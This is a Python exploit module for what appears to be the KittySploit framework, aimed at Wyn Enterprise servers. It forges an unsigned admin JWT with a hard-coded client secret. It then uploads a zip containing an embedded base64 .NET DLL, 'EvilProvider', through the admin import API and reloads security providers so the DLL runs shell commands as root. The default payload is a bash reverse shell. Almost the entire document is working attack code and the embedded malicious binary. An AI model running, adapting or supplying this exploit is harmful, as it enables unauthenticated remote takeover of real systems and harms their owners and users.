Wyn Enterprise unauthenticated token forgery provider load root RCE

"""Wyn Enterprise token forgery import Zip-Slip EvilProvider load root RCE."""
from __future__ import annotations
import base64
import io
import json
import re
import zipfile
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Wyn Enterprise unauthenticated token forgery provider load root RCE', 'description': 'Forged integration JWT → admin reference token → admin/api/import Zip-Slip EvilProvider.dll → security-providers reload.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['wyn', 'mescius', 'rce', 'unauth', 'zipslip'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/wyn_enterprise_unauth_rce_detect']}}}
    _INTEGRATION_SECRET = 'eunGKas3Pqd6FMwx9eUpdS7xmz'
    _EVIL_DLL_B64 = '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cmljAENyZWF0ZUFzeW5jAEZpbGUAc2V0X0ZpbGVOYW1lAGdldF9Qcm92aWRlck5hbWUAU3lzdGVtLlJ1bnRpbWUAV3luLklkZW50aXR5LkV4dGVybmFsUHJvdmlkZXJCYXNlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUluZm9ybWF0aW9uYWxWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBSZWZTYWZldHlSdWxlc0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAc2V0X1VzZVNoZWxsRXhlY3V0ZQBNaWNyb3NvZnQuRXh0ZW5zaW9ucy5Mb2dnaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAVGFzawBFdmlsUHJvdmlkZXIuZGxsAENvbmZpZ3VyYXRpb25JdGVtAFN5c3RlbQBXeW4uSWRlbnRpdHkuRXh0ZXJuYWxQcm92aWRlckJhc2UuQ29uZmlndXJhdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBFeGNlcHRpb24AZ2V0X0Rlc2NyaXB0aW9uAFByb2Nlc3NTdGFydEluZm8ARXZpbFByb3ZpZGVyAFd5bi5JZGVudGl0eS5TZWN1cml0eVByb3ZpZGVyAElTZWN1cml0eVByb3ZpZGVyAElMb2dnZXIAbG9nZ2VyAHNldF9SZWRpcmVjdFN0YW5kYXJkRXJyb3IALmN0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAZ2V0X1N1cHBvcnRlZFNldHRpbmdzAHNldHRpbmdzAFN5c3RlbS5UaHJlYWRpbmcuVGFza3MATWljcm9zb2Z0LkV4dGVuc2lvbnMuTG9nZ2luZy5BYnN0cmFjdGlvbnMAU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MAc2V0X0FyZ3VtZW50cwBDb25jYXQAT2JqZWN0AFdhaXRGb3JFeGl0AEZyb21SZXN1bHQAU3RhcnQAc2V0X1JlZGlyZWN0U3RhbmRhcmRPdXRwdXQAQXBwZW5kQWxsVGV4dABXcml0ZUFsbFRleHQAQXJyYXkARXZpbEZhY3RvcnkASVNlY3VyaXR5UHJvdmlkZXJGYWN0b3J5AEVtcHR5AAAAMy8AdABtAHAALwB3AHkAbgAtAGYAcgBlAHMAaAAtAG0AYQByAGsAZQByAC4AdAB4AHQAAU9GAFIARQBTAEgALQBDAFQATwBSAC0AVwBZAE4ALQBSAEUARgBVAFQARQAtAEYAUgBFAFMASAAtADEANwA4ADYAMgA1ADMANwA0ADMACgABKS8AdABtAHAALwB3AHkAbgAtAHIAYwBlAC0AZQByAHIALgB0AHgAdAABDWYAaQBsAGUAOgAgAAAPLwBiAGkAbgAvAHMAaAAAgMctAGMAIAAiAGUAYwBoAG8AIABXAFkATgAtAFIARQBGAFUAVABFAC0ARgBSAEUAUwBIAC0AMQA3ADgANgAyADUAMwA3ADQAMwAgAD4APgAgAC8AdABtAHAALwB3AHkAbgAtAGYAcgBlAHMAaAAtAG0AYQByAGsAZQByAC4AdAB4AHQAOwAgAGkAZAAgAD4APgAgAC8AdABtAHAALwB3AHkAbgAtAGYAcgBlAHMAaAAtAG0AYQByAGsAZQByAC4AdAB4AHQAIgABDwoAcAByAG8AYwA6ACAAABlFAHYAaQBsAFAAcgBvAHYAaQBkAGUAcgAACUUAdgBpAGwAAAAAHhdK7BMe602O5xPeD3k8WwAEIAEBCAMgAAEFIAEBEREEIAEBDggHAxI9EkESPQUAAgEODgMgAA4FAAIODg4EIAEBAgYAARJBEmEEIAECCAYQAQAdHgAECgESSQsQAQEVEk0BHgAeAAQKARJRCLA/X38R1Qo6CK25eTgp3a5gCCAAFRJFARJJECACFRJNARJRFRJFARJJElUDKAAOCCgAFRJFARJJCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAAD0BABguTkVUQ29yZUFwcCxWZXJzaW9uPXY4LjABAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lCC5ORVQgOC4wEQEADEV2aWxQcm92aWRlcgAADAEAB1JlbGVhc2UAAAwBAAcxLjAuMC4wAAAKAQAFMS4wLjAAAAgBAAsAAAAAAAAAAACS3AjlAAFNUAIAAABRAAAAyCwAAMgOAAAAAAAAAAAAAAEAAAATAAAAJwAAABktAAAZDwAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAFJTRFONubSqRU0cT7Q6M64MYvecAQAAAEM6XHJlc2VhcmNoXHd5bi1ldmlsXG9ialxSZWxlYXNlXG5ldDguMFxFdmlsUHJvdmlkZXIucGRiAFNIQTI1NgCNubSqRU0cH7Q6M64MYvecktwIZYq4iccrDiKxcBJmMWgtAAAAAAAAAAAAAIItAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0LQAAAAAAAAAAAAAAAF9Db3JEbGxNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAADoAgAAAAAAAAAAAADoAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAAAAAAAAAAQAAAAAAPwAAAAAAAAAEAAAAAgAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAESAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAJAIAAAEAMAAwADAAMAAwADQAYgAwAAAAOgANAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABFAHYAaQBsAFAAcgBvAHYAaQBkAGUAcgAAAAAAQgANAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEUAdgBpAGwAUAByAG8AdgBpAGQAZQByAAAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAABCABEAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEUAdgBpAGwAUAByAG8AdgBpAGQAZQByAC4AZABsAGwAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABKABEAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAARQB2AGkAbABQAHIAbwB2AGkAZABlAHIALgBkAGwAbAAAAAAAOgANAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABFAHYAaQBsAFAAcgBvAHYAaQBkAGUAcgAAAAAAMAAGAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMQAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAAJQ9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
    _MARKER = '/tmp/wyn-rce-proof.txt'
    port = OptPort(443, 'Wyn web port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    marker_path = OptString(_MARKER, 'Marker file written by EvilProvider ctor', required=False)

    def _b64url(self, data: bytes) -> str:
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

    def _build_inner_zip(self, dll_bytes: bytes) -> bytes:
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr('securityProviders.config', '[]')
            zf.writestr('EvilProvider.dll', dll_bytes)
        return buf.getvalue()

    def _build_outer_zip(self, inner_bytes: bytes) -> bytes:
        manifest = {'Refs': [], 'Docs': [], 'Sets': [{'Id': 'evilprov', 'Type': 'sys-secprovider', 'Name': 'evilprov', 'NeedStream': True, 'Items': {}}]}
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr('export.manifest', json.dumps(manifest))
            zf.writestr('evilprov', inner_bytes)
        return buf.getvalue()

    def _admin_token(self) -> str | None:
        jwt = self._b64url(json.dumps({'alg': 'none', 'typ': 'JWT'}).encode()) + '.' + self._b64url(json.dumps({'name': 'admin', 'idp': 'local'}).encode()) + '.'
        body = 'grant_type=password&client_id=integration&client_secret=' + self._INTEGRATION_SECRET + '&username=admin&jwt_token=' + jwt + '&scope=server_portal'
        resp = self.http_request('POST', '/connect/token', data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if not resp or int(resp.status_code or 0) >= 400:
            return None
        try:
            return json.loads(resp.text or '{}').get('access_token')
        except json.JSONDecodeError:
            return None

    def execute(self, _cmd: str) -> str:
        token = self._admin_token()
        if not token:
            return 'token forgery at /connect/token failed'
        dll = base64.b64decode(self._EVIL_DLL_B64)
        outer = self._build_outer_zip(self._build_inner_zip(dll))
        imp = self.http_request('POST', '/admin/api/import', data=outer, headers={'Reference-Token': token, 'Content-Type': 'application/octet-stream'})
        if not imp or int(imp.status_code or 0) >= 400:
            return f"import failed: {((imp.text or '')[:400] if imp else 'no response')}"
        session_id = None
        try:
            session_id = json.loads(imp.text or '{}').get('sessionId')
        except json.JSONDecodeError:
            pass
        if not session_id:
            m = re.search('"sessionId"\\s*:\\s*"([^"]+)"', imp.text or '')
            session_id = m.group(1) if m else None
        if not session_id:
            return f"import OK but no sessionId: {(imp.text or '')[:300]}"
        proc = self.http_request('GET', f'/admin/api/import/process/{session_id}', headers={'Reference-Token': token})
        if not proc or int(proc.status_code or 0) >= 500:
            return f"import process failed: {((proc.text or '')[:300] if proc else 'no response')}"
        reload = self.http_request('POST', '/api/v2/identity/security-providers/reload', data=json.dumps({'forceReload': True}), headers={'Reference-Token': token, 'Content-Type': 'application/json'})
        if not reload or int(reload.status_code or 0) >= 500:
            return f"reload failed: {((reload.text or '')[:300] if reload else 'no response')}"
        marker = str(self.marker_path or self._MARKER)
        return f'import + reload complete; EvilProvider ctor writes {marker} (CTOR-RAN-AS-ROOT / uid=0). Custom command not injected into embedded DLL.'

    def check(self):
        resp = self.http_request('GET', '/connect/token')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Wyn OAuth endpoint reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Wyn not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Token forgery → import → provider reload')
        print_info(self.execute(shell or 'id'))
        self.vulnerable()
        if shell and re.search('reverse|bash|/dev/tcp|nc ', shell, re.I):
            return True
        return True